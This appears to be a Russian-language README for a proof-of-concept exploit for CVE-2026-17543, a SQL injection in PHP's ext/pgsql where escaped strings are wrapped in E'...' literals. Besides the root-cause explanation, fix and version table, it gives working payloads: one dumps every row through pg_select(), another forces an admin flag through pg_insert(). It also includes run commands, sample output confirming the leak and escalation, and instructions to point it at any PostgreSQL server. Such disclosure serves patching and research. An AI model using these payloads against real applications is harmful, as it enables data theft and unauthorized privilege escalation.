
PoC-эксплойт для CVE-2026-17543: SQL-инъекция в PHP ext/pgsql через backslash breakout с полезными нагрузками для эксфильтрации данных и повышения привилегий до администратора в PostgreSQL.
ext/pgsql через обход экранирования обратной косой черты в E'...'PoC для CVE-2026-17543 (CVSS 9.8 Critical, CWE-89) — уязвимость SQL-инъекции в процедурном PostgreSQL-расширении PHP.
pg_insert(), pg_select(), pg_update(), pg_delete() и pg_convert() пропускают все строковые значения через php_pgsql_convert(), которая:
PQescapeStringConn() — которая при standard_conforming_strings = on (значение по умолчанию в PostgreSQL с 9.1) удваивает ' в '' и оставляет \ нетронутым (корректно для обычного литерала '...').php_pgsql_add_quotes() в escape-строковую константу E'...' вместо обычной '...'.Внутри E'...' обратная косая черта является escape-символом, поэтому \, поставленная перед кавычкой, сводит на нет удвоение кавычек: \' превращается в одну литеральную ', а вторая кавычка — добавленная экранировщиком как удвоенная литеральная — теперь преждевременно завершает строку. Всё после неё — это сырой внедрённый SQL.
Официальное исправление (коммит ab048bd83b57) состоит из одного символа: выводить '...' вместо E'...'.
Не затронуты: pg_query_params() (настоящее связывание параметров) и подготовленные выражения PDO_PGSQL / PDO::quote() — они используют отдельные пути выполнения, которые никогда не вызывают php_pgsql_add_quotes().
zzz\' OR 1=1 --
(одна обратная косая черта непосредственно перед одинарной кавычкой)
... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 разбирается как SQL → возвращаются все строки.... WHERE "name"='zzz\'' OR 1=1 --' → обратная косая черта обычная, поэтому OR 1=1 -- поглощается внутри строкового литерала → ничего не совпадает.Вторая полезная нагрузка (eve\', true) --) демонстрирует повышение привилегий через pg_insert(), принудительно устанавливая колонку admin в true.
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
В исправленной сборке сгенерированный SQL содержит '...' (без E), [1] сообщает rows returned: 0 / no injection, а [2] сообщает admin flag: 'f'.
Укажите PGCONN на любой PostgreSQL и запустите с уязвимым PHP:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql (--with-pgsql / расширение pgsql).standard_conforming_strings = on).docker compose down -v
Используемый здесь PHP-образ по определению не содержит исправления для CVE-2026-17543. Запускайте его только в изолированном одноразовом контейнере и выполните docker compose down -v по завершении. Никогда не направляйте этот PoC на базу данных, которая вам дорога.
| Branch | Vulnerable | Fixed |
|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
| File | Description |
|---|
poc.php | Демонстрирует оба варианта: эксфильтрацию данных через pg_select и повышение привилегий через pg_insert; выводит сгенерированный SQL, чтобы токен E'...' был виден |
Dockerfile | Закрепляет уязвимый PHP CLI-образ (php:8.4.23-cli) с ext/pgsql |
docker-compose.yml | Поднимает PostgreSQL 16 + контейнер с уязвимым PHP и запускает poc.php |